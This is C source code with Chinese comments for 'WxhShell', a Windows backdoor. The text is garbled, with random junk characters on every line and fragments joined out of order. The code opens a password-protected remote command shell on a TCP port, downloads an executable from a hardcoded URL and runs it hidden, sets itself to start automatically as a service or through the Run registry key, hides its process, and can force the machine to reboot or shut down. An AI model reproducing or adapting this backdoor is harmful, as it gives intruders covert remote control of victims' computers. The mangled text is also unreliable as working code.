    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R,fAl"wMu  
    if(Boot(SHUTDOWN)) "bz.nE*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 03_M+lv  
    else { AW'$5 NF>  
    closesocket(wsh); wYDdy gS  
    ExitThread(0); Lt i2KY}/%  
    } {Es1bO  
    break; >U(E \`9D  
    } ! %B-y 9\  
  // 获取shell 9m<%+ S5&  
  case 's': { U;*O7K=P  
    CmdShell(wsh); ce*?crOV  
    closesocket(wsh); Kw2]J)TO  
    ExitThread(0); L* ScSxw  
    break; p.H`lbVY  
  } IJC]Al,df  
  // 退出 ]=59_bkD:s  
  case 'x': { 5H,(\Xd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i^8w0H<-@v  
    CloseIt(wsh); aimf,(+  
    break; Qwp2h"t`  
    } m*\LO%s]E  
  // 离开 xe9\5Gb}  
  case 'q': { x3F94+<n{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7%G&=8tq  
    closesocket(wsh); u$X =2u:P  
    WSACleanup(); I}m>t}QRI_  
    exit(1); YN~1.!F  
    break; uJ8FzS>[V  
        } 1^ iLs  
  } =dmxE*C  
  } O-box?  
y'n<oSB}  
  // 提示信息 DiZ;FHnaG?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @!|h!p;  
} t gHN\@yj  
  } $ e.Bz `  
0_,un^  
  return; {bG.X?b  
} xk3)#*  
qQ1D}c@  
// shell模块句柄 _ q AT%.  
int CmdShell(SOCKET sock) ~f( #S*Ic  
{ s>[Oe|`  
STARTUPINFO si; =h|7bYLy  
ZeroMemory(&si,sizeof(si));  )\kNufP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~#)9Kl7<X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bJkFCI/  
PROCESS_INFORMATION ProcessInfo; 1lJ^$U  
char cmdline[]="cmd"; k(v &+v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Do5{t'm3  
  return 0; vl?fCO  
} 54/ZGaonz  
j^eM i  
// 自身启动模式 qk>M~,  
int StartFromService(void) t;:Yf  
{ O;T)u4Q&3  
typedef struct P7REE_<1  
{ 9;rZ)QD  
  DWORD ExitStatus; 6zi Mf  
  DWORD PebBaseAddress; Zu>CR_C  
  DWORD AffinityMask; v[ R_6  
  DWORD BasePriority; 5HTY ~&C  
  ULONG UniqueProcessId; F=f9##Y?7M  
  ULONG InheritedFromUniqueProcessId; B B^81{A  
}   PROCESS_BASIC_INFORMATION; SRU#Y8Xv|  
1v<uA9A%[  
PROCNTQSIP NtQueryInformationProcess; W .Al\!Gi  
V8b^{}nxt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1^[]#N-Bu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =/\l=*  
*OHjw;xm+  
  HANDLE             hProcess; &(jt|?{  
  PROCESS_BASIC_INFORMATION pbi; ''k}3o.K[  
^K 9jJS9K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iR8;^C.aT  
  if(NULL == hInst ) return 0; Vg mYm~y'  
buWF6LFC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xsrdHP1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2uMSeSx$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :U]Pm:ivTU  
|HPb$#i  
  if (!NtQueryInformationProcess) return 0; mXM U  
3wfJ!z-E8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U.<ad  
  if(!hProcess) return 0; c:s[vghH^#  
6 \ %#=GG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cCIs~*D  
5j _[z|W2  
  CloseHandle(hProcess); 0 4oMgH>Vd  
-cUw}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dQ#oY|a  
if(hProcess==NULL) return 0; [.;8GMW  
eEeK ] 8@  
HMODULE hMod; gV'=u z v  
char procName[255]; 7'@~TM  
unsigned long cbNeeded; wB<cW>6  
{P%\& \{F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :K!L-*>A9  
ntZHO}'  
  CloseHandle(hProcess); j3>&Su>H4  
8Z 0@-8vi  
if(strstr(procName,"services")) return 1; // 以服务启动 )1O|+m k  
8{Vt8>4  
  return 0; // 注册表启动 9v7}[`^  
} =CaSd|   
B;Co`o2  
// 主模块 AQc9@3T~Bi  
int StartWxhshell(LPSTR lpCmdLine) :r&4/sN}<  
{ V<d`.9*}  
  SOCKET wsl; 'jKCAU5/0;  
BOOL val=TRUE; |;YDRI  
  int port=0; +V#dJ[,8;.  
  struct sockaddr_in door; / 6DW+!  
%y)LBSxf  
  if(wscfg.ws_autoins) Install(); n5*m x7  
ZPHatC  
port=atoi(lpCmdLine); y"zZ9HQM  
G52z5-=v  
if(port<=0) port=wscfg.ws_port; ]YB,K)WQ  
~sCdvBA  
  WSADATA data; :} o{<U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *bi;mQ  
(T",6xBSG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ''.\DC~K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rP}0B/  
  door.sin_family = AF_INET; %O>_$ 4q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q?dzro4C  
  door.sin_port = htons(port); 3[%n@i4H|  
&=lh Kt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y"ms;w'z  
closesocket(wsl); u/5)Yx+5_  
return 1; ul\FZT 4  
} $u,`bX  
*,wW-8  
  if(listen(wsl,2) == INVALID_SOCKET) { UR[UZ4G  
closesocket(wsl); =AeOkie  
return 1; No]#RvEd3  
} fc%C!^7  
  Wxhshell(wsl); w5a;ts_x  
  WSACleanup(); <@qJsRbhK  
h9+ 7 6  
return 0; <{.pYrn  
:) T#.(mR  
} wgZ6|)!0  
/tqe:*  
// 以NT服务方式启动 $XrX(l5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7nbaR~ZV  
{  e:6mz\J  
DWORD   status = 0; lq)[  
  DWORD   specificError = 0xfffffff; cUU"*bA#  
{JW_ZJx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9 NqZ&S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4aG}ex-s|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w-``kID  
  serviceStatus.dwWin32ExitCode     = 0; Oi~.z@@  
  serviceStatus.dwServiceSpecificExitCode = 0; !Ee&e~"  
  serviceStatus.dwCheckPoint       = 0; D*)"?L G  
  serviceStatus.dwWaitHint       = 0; (}CA?/  
"D ivsq^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 05;J7T<  
  if (hServiceStatusHandle==0) return; QH6_nZY  
,uS}wJAX  
status = GetLastError(); !]#;'  
  if (status!=NO_ERROR) F=$U.K~1?  
{ .c_qMTm"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q_|Lv&  
    serviceStatus.dwCheckPoint       = 0; .vpx@_;]9  
    serviceStatus.dwWaitHint       = 0; LLwC*)#  
    serviceStatus.dwWin32ExitCode     = status; iMp_1EXe  
    serviceStatus.dwServiceSpecificExitCode = specificError;  C0j`H(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k i{8f  
    return; }yM!o`90  
  } Z]^O=kX7k  
%eE 6\f%g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t` zPx#])  
  serviceStatus.dwCheckPoint       = 0; `w% Qs)2  
  serviceStatus.dwWaitHint       = 0; a8Z{-=)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WD#7Q&T(;  
} ks<+gL{K|i  
?/Z5%?6  
// 处理NT服务事件,比如:启动、停止 (APGz,^9#  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  6Xt c3  
{ $`Aps7A  
switch(fdwControl) q]m$%>  
{ Iyt.`z  
case SERVICE_CONTROL_STOP: !Bb^M3iA  
  serviceStatus.dwWin32ExitCode = 0; ngH_p>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h=ko_/<  
  serviceStatus.dwCheckPoint   = 0; ^1[u'DW4  
  serviceStatus.dwWaitHint     = 0; 6 kAXE\T  
  { s!/Q>A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s C?-L  
  } \v([,tiW%  
  return; /@K1"/fqH  
case SERVICE_CONTROL_PAUSE: o,=dm@j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I>spJ5ls  
  break; )dI  `yf  
case SERVICE_CONTROL_CONTINUE: Y/G~P,9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MrpT5|t  
  break;  76EMS?e  
case SERVICE_CONTROL_INTERROGATE: >3y:cPTM5  
  break; GP=&S|hi  
}; >66v+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Yh%.#\i%  
} &, WQr  
}%k 3  
// 标准应用程序主函数 %ZJ;>a#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $U}GX'1LZ  
{ bF? {  
O.OSLezTQ  
// 获取操作系统版本 &e1(|qax  
OsIsNt=GetOsVer(); Z=>#|pW,)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [xg& `x9,.  
IHNl`\Le  
  // 从命令行安装 el^WBC3  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6?KJ"Ai9  
B}Sl1)E  
  // 下载执行文件 VY'1 $  
if(wscfg.ws_downexe) { z<n&P7k5j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ( T2 \   
  WinExec(wscfg.ws_filenam,SW_HIDE); Y+_t50 S  
} W= $, \D+  
r7n-Xe  
if(!OsIsNt) { u6~/" _FwY  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^EmI;ks  
HideProc(); ]"4\]_?r  
StartWxhshell(lpCmdLine); x)^t5"F  
} y4N=v{EbL  
else <>^otb,e$  
  if(StartFromService()) lAx^!#~\  
  // 以服务方式启动 +(J{~A~  
  StartServiceCtrlDispatcher(DispatchTable); SHP_  
else ($Ck5`_MK  
  // 普通方式启动 y4 ~;H{!  
  StartWxhshell(lpCmdLine); S%k](\7!  
8zk?:?8%{  
return 0; zsha/:b  
} 44(l1xEN+  
*9xv0hRQ%?  
j_HwR9^fd,  
8K0@*0  
=========================================== /|2 hW`G  
cSs??i D"q  
hQ}B?'>  
N?krlR  
@F0+t;  
rP7f~"L  
" @b"J FB|  
%oqC5O6  
#include <stdio.h> e`Vb.E)  
#include <string.h> AH#klYK  
#include <windows.h> w-9fskd6e  
#include <winsock2.h> ([L5i&DT  
#include <winsvc.h> $oU40HA)W]  
#include <urlmon.h> {9*k \d/;  
@`Foy  
#pragma comment (lib, "Ws2_32.lib") ]-G10p}Ph-  
#pragma comment (lib, "urlmon.lib") !L_\6;aP,x  
7!"OF  
#define MAX_USER   100 // 最大客户端连接数 q\a'pp9d  
#define BUF_SOCK   200 // sock buffer _qQB.Dzo:  
#define KEY_BUFF   255 // 输入 buffer /4PV<[ :_  
.YcI .  
#define REBOOT     0   // 重启 86N"EuH$  
#define SHUTDOWN   1   // 关机 x7 l3&;yDv  
yUzpl[*e^o  
#define DEF_PORT   5000 // 监听端口 S,~DA3  
RkuPMs Hw;  
#define REG_LEN     16   // 注册表键长度 U k*HRudt  
#define SVC_LEN     80   // NT服务名长度 Z 7s (g]  
vTY+J$N__  
// 从dll定义API ffqz :6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .,5N/p"aV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a+Z95~*sZ"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W_ hckq.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); # ^~[\8v>  
N++jI(  
// wxhshell配置信息 P(#by{s  
struct WSCFG { 7Ta",S@m  
  int ws_port;         // 监听端口 m?Qr)F_M  
  char ws_passstr[REG_LEN]; // 口令 3>t^Xu~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ME%W,B.|"s  
  char ws_regname[REG_LEN]; // 注册表键名 jk'.Gz  
  char ws_svcname[REG_LEN]; // 服务名 :;(zA_-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,3tcti~sZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4#^?-6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9dFSppM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <i(<|/ $  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WfDpeXdO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Ex*8sU%p%  
%t:pG}A>:C  
}; LCMCpEtY*K  
3A(sT}  
// default Wxhshell configuration }+1Y>W7q  
struct WSCFG wscfg={DEF_PORT, 8Vb.%f &I  
    "xuhuanlingzhe", 1JI\e6]I  
    1, v2uyn  
    "Wxhshell", HX77XTy  
    "Wxhshell", ]c'12 g]h  
            "WxhShell Service", E1uyMh-dy  
    "Wrsky Windows CmdShell Service", w[S!U<9/  
    "Please Input Your Password: ",  8~>5k  
  1, Rr|&~%#z  
  "http://www.wrsky.com/wxhshell.exe", I*Q^$YnM  
  "Wxhshell.exe" Mr3;B+S  
    }; ,#FK3;U  
}bxW@(bs  
// 消息定义模块 8 ;C_@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x!08FL)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F.0CJ7s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3 0fsVwE2  
char *msg_ws_ext="\n\rExit."; 23AMrDF=N  
char *msg_ws_end="\n\rQuit."; dMnJ)R  
char *msg_ws_boot="\n\rReboot..."; ?Q ]{P]  
char *msg_ws_poff="\n\rShutdown..."; Z`=[hu  
char *msg_ws_down="\n\rSave to "; $\ 0d9^)&  
UtebSQ+h\  
char *msg_ws_err="\n\rErr!"; DKG%z~R*  
char *msg_ws_ok="\n\rOK!"; &Q85Bq  
dDAI fe2y  
char ExeFile[MAX_PATH]; VQQtxHTC3  
int nUser = 0; $]Vvu{  
HANDLE handles[MAX_USER]; dBKceL v  
int OsIsNt; ;%j1'VI  
_rz*7-ks=  
SERVICE_STATUS       serviceStatus; ]}~[2k.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H~IN<3ko  
I-QaR  
// 函数声明 .9<  i  
int Install(void); &F*L=Ng  
int Uninstall(void); %6vf~oG  
int DownloadFile(char *sURL, SOCKET wsh); wm$1LZ8o-`  
int Boot(int flag); oTPPYi[r  
void HideProc(void); 1,tM  
int GetOsVer(void); YtzB/q8I  
int Wxhshell(SOCKET wsl); pt rQ~m-  
void TalkWithClient(void *cs); 5jTBPct   
int CmdShell(SOCKET sock); K9#=@}!3L  
int StartFromService(void); ]+SVQ|v0  
int StartWxhshell(LPSTR lpCmdLine); /=5YHq>  
I'_u4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \UdHN=A&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UUf-G0/P  
nnV(MB4z1  
// 数据结构和表定义 Y 7a<3>  
SERVICE_TABLE_ENTRY DispatchTable[] = SOq{`~,4B  
{ ~qG`~/7  
{wscfg.ws_svcname, NTServiceMain}, uK:?6>H  
{NULL, NULL} F3aOKV^  
}; a5v}w7vL  
TfD]`v`]   
// 自我安装 B}%B4&Ij  
int Install(void) =Mb1)^m  
{ iG\ ]  
  char svExeFile[MAX_PATH]; Jzg>Y?jN R  
  HKEY key; ^=H. .pr  
  strcpy(svExeFile,ExeFile); SxHj3,`#C  
0'giAA  
// 如果是win9x系统,修改注册表设为自启动 %V>Ss9;/8  
if(!OsIsNt) { NDJIaX:]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iBq|]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PhHBmM GL  
  RegCloseKey(key); = h _>OA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {R2gz]v4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6/m|Sg.m  
  RegCloseKey(key); TV~ <1vj  
  return 0; x-Kq=LFy.  
    } [Ch)6p  
  } [7Yfv Xp  
} ;^9Ao>(?y  
else { 9!u=q5+E  
|a(%a43fC  
// 如果是NT以上系统,安装为系统服务 _&Hq`KJm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E^:8Jehq  
if (schSCManager!=0) 7r`A6 \ !  
{ D;pfogK @  
  SC_HANDLE schService = CreateService gy Jx>i  
  ( 5Av bKT  
  schSCManager, !$/1Q+  
  wscfg.ws_svcname, /AJ#ngXz  
  wscfg.ws_svcdisp, /'V(F* g  
  SERVICE_ALL_ACCESS, ,cbCt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HC4vet  
  SERVICE_AUTO_START, u~| D;e  
  SERVICE_ERROR_NORMAL, x<m{B@3T  
  svExeFile, t:DZow  
  NULL, +:hZ,G?>  
  NULL, E4a`cGb  
  NULL, 3yWu-U \k  
  NULL, )T-C/ 3  
  NULL 8X6F6RK6,1  
  ); CCCd=s.  
  if (schService!=0) W 6_~.m"b  
  { 0Q81$% @<  
  CloseServiceHandle(schService); XYJ7k7zc+Y  
  CloseServiceHandle(schSCManager); wA+QUN3#n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 39xAh*}G]  
  strcat(svExeFile,wscfg.ws_svcname); )ZU)$dJ>V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K3uNR w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #kO.'oIl  
  RegCloseKey(key); z=}@aX[  
  return 0; BT|5"b}  
    } $\S;f"IM.  
  } .AIlv^:|U  
  CloseServiceHandle(schSCManager); 5pF4{Jd1  
} ze+_iQ5  
} 6qW/Td|g  
Md~% e'  
return 1; Q\pTyNAYn  
} OLThi[Yn  
|v,5s=} 7  
// 自我卸载 N7S?m@  
int Uninstall(void) RoV^sbWFt  
{ V/X4WZs|i  
  HKEY key; k<aKT?Ek>  
5XK}8\  
if(!OsIsNt) { -8j<`(M' 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^hG Y,\K9  
  RegDeleteValue(key,wscfg.ws_regname); _0~WT  
  RegCloseKey(key); ]}KoW?M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aR3R,6ec  
  RegDeleteValue(key,wscfg.ws_regname); f}jo18z%  
  RegCloseKey(key); 'hTA O1n8  
  return 0; rTBrl[&,q'  
  } S,9}p 1  
} 8<,b5  
} {`2R<O  
else { Y<~N x~w{  
X6+2~'*t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I%.96V  
if (schSCManager!=0) ~hubh!d=  
{ + 9vd(c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c6IFt4)g  
  if (schService!=0) h5+qP"n!?q  
  { K"p$ga{  
  if(DeleteService(schService)!=0) { >Oary  
  CloseServiceHandle(schService); c,cc avv{I  
  CloseServiceHandle(schSCManager); t`PA85.|d  
  return 0; ~i`@  
  } u"rK5'  
  CloseServiceHandle(schService);  tCT-cs  
  } AJ0qq  
  CloseServiceHandle(schSCManager); [x`trypg  
} l[KFK%?  
} Y)?dq(  
"`b"PQ<x  
return 1; I6bekOvP  
} G8c 8`~t  
Irk@#,{<  
// 从指定url下载文件 HPc7Vo(  
int DownloadFile(char *sURL, SOCKET wsh) deD%E-Ja  
{ r"yA=d'c  
  HRESULT hr; xM ]IU <  
char seps[]= "/"; 4vri=P 2%  
char *token; .C]V==z`[4  
char *file; ^P5+ _P  
char myURL[MAX_PATH]; 3j{VpacZY  
char myFILE[MAX_PATH]; ]1A"l!yf  
'b#`)w@/=  
strcpy(myURL,sURL); 6`sOhVD  
  token=strtok(myURL,seps); K<@gU\-!  
  while(token!=NULL) #St=%!  
  { h/h`?vWu  
    file=token; DP2 ^(d<  
  token=strtok(NULL,seps); m$T?~o o  
  } it=4cHT  
zdDn. vG  
GetCurrentDirectory(MAX_PATH,myFILE); aq ~g 54  
strcat(myFILE, "\\"); )` nX~_'p  
strcat(myFILE, file); ]=2wQ8  
  send(wsh,myFILE,strlen(myFILE),0); QPe+K61U  
send(wsh,"...",3,0); _%g}d/v}pO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ka[@-XH  
  if(hr==S_OK) (TufvHC  
return 0; \Y)pm9!  
else oY!nM%z/  
return 1; 4::>Ca^{  
VE4Z;Dr"  
} owClnp9K  
GF6c6TXF@  
// 系统电源模块 2?3D` `  
int Boot(int flag) ;^5d^-T  
{ .&:GO D  
  HANDLE hToken; GA19=gow  
  TOKEN_PRIVILEGES tkp; R[eQ}7;+  
_pu G?p  
  if(OsIsNt) { = > .EDL.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a6K1-SR^6)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "=l<%em  
    tkp.PrivilegeCount = 1; P;%4Imq3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LOY+^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |yE_M-Nc  
if(flag==REBOOT) { F...>%N$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (mq 7{ ;7y  
  return 0; JpVV0x/Q/_  
} Pb0+ z=L  
else { ei 1(A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (bfHxkR.  
  return 0; D#>+]}5@x  
} pdnkHR$  
  } Xg*IOhF6x  
  else { \tc`Aj%K  
if(flag==REBOOT) { &FrW(>2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;IhkGPpWP  
  return 0; Fs q=u-= :  
} QJFx/zU  
else { @kR/=EfS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V1R=`  
  return 0; . e2qa  
} Hu$]V*rAG  
} >S /Zd  
&*TwEN^h  
return 1; |RqCw7  
} {p -b,J9~a  
:[gM 5G  
// win9x进程隐藏模块 HR'r~ #j  
void HideProc(void) !ndc <],  
{ 846j<fE  
cnAwoTt4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'U<-w$!f+^  
  if ( hKernel != NULL ) {;4AdZk  
  { &wj;:f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,RFcR[ak  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lhm=(7Y  
    FreeLibrary(hKernel); wI +oG  
  } c1j)  
/ZAS%_as  
return; G!~[+B  
} <wwcPe}  
3 wVN:g7  
// 获取操作系统版本 O~F/pJN`  
int GetOsVer(void) ;u LD_1%  
{ 'tK5s>gv<  
  OSVERSIONINFO winfo; mLM$dk3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7*5$=z4,1  
  GetVersionEx(&winfo); gx&BzODPd0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 620y[iiK$  
  return 1; />fy@nPl|  
  else 2BOe,giy  
  return 0; F,#)8>O  
} Yo:l@(  
8:,E=swe  
// 客户端句柄模块 -A}*Aa'\  
int Wxhshell(SOCKET wsl) 8XwAKN:f  
{ Xui${UYN  
  SOCKET wsh; }J t( H  
  struct sockaddr_in client; 4cK6B)X  
  DWORD myID; UJkg|eu  
#3maT*JY  
  while(nUser<MAX_USER) 'UO,DFq[Fl  
{ y wlN4=  
  int nSize=sizeof(client); 7G}vQO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); za7h.yK}  
  if(wsh==INVALID_SOCKET) return 1; IWN:GFH(  
42LlR 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VAf~,T]Ww  
if(handles[nUser]==0) l)E \mo 8  
  closesocket(wsh); bL 5z%bV  
else Sv.z9@S  
  nUser++; :bMCmY  
  } "iE9X.6NMu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -bSe=09;S|  
06 gE;iT  
  return 0; 5,>1rd<B  
} 'Omi3LXfDT  
^\ &:'$f+8  
// 关闭 socket ]H7_bix  
void CloseIt(SOCKET wsh) 8Dpf{9Y-E  
{ ABEC{3fWpu  
closesocket(wsh); zcItZP  
nUser--; W5?F?Dp!v  
ExitThread(0); z<rdxn,9  
} }gL9G  
l5S (x Q  
// 客户端请求句柄 UwY<3ul  
void TalkWithClient(void *cs) 'X{cDdS^  
{ L'4ob4r{L  
F.?`<7  
  SOCKET wsh=(SOCKET)cs; Oy[1_qfP  
  char pwd[SVC_LEN]; Okca6=2"  
  char cmd[KEY_BUFF]; (A?{6  
char chr[1]; 0~RsdQGqC  
int i,j; U7J0&  
KC o<%  
  while (nUser < MAX_USER) { Y-&r_s_~  
,s0E]](  
if(wscfg.ws_passstr) { ]aq!@rDX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wJh|$Vn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sd\>|N?'  
  //ZeroMemory(pwd,KEY_BUFF); W<TW6_*e  
      i=0; +4ax~fuU  
  while(i<SVC_LEN) { UiS9uGj  
%JDG aG'  
  // 设置超时 CFqoD l  
  fd_set FdRead; -yeQQ4b  
  struct timeval TimeOut; 0m,A`*o  
  FD_ZERO(&FdRead); X"b4U\A  
  FD_SET(wsh,&FdRead); 0Mt2Rg}  
  TimeOut.tv_sec=8; B{!)GZ(}  
  TimeOut.tv_usec=0; NAhV8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ed*Cx~rT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =25q Y"Mf  
?RvXO'ml  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VE^NSk Oa&  
  pwd=chr[0]; _:0<]<x?  
  if(chr[0]==0xd || chr[0]==0xa) { C1P{4 U  
  pwd=0; 7P9n. [  
  break; 1Nw&Z0MI  
  } ?UQVmE&  
  i++; ^4]#Ri=U  
    } -@i)2J_WP  
6BVV2j)zl:  
  // 如果是非法用户,关闭 socket .%`|vGF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )7=B]{B_  
} P]T(I/\g  
X`]-) (U X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G ;V@oT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mp0p#8txi  
+] B  
while(1) { *wP8)yv7  
+FQ:Q+  
  ZeroMemory(cmd,KEY_BUFF); #})Oz| c  
$-"AMZ899  
      // 自动支持客户端 telnet标准   :ORCsl6-  
  j=0; sF]v$ kq  
  while(j<KEY_BUFF) { y?<[g;MuT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l9 )iLOj  
  cmd[j]=chr[0]; j>eL&.d  
  if(chr[0]==0xa || chr[0]==0xd) { ~j 3B'  
  cmd[j]=0; Yqmx]7Y4  
  break; #NNj#  
  } >joGG T  
  j++; 5. :To2  
    } )V JAs|  
?+GbPG~  
  // 下载文件 +-'qI_xo  
  if(strstr(cmd,"http://")) { E xKH%I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3XY$w&f  
  if(DownloadFile(cmd,wsh)) w(r$n|Ks9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SDiZOypS  
  else COFs?L.`  
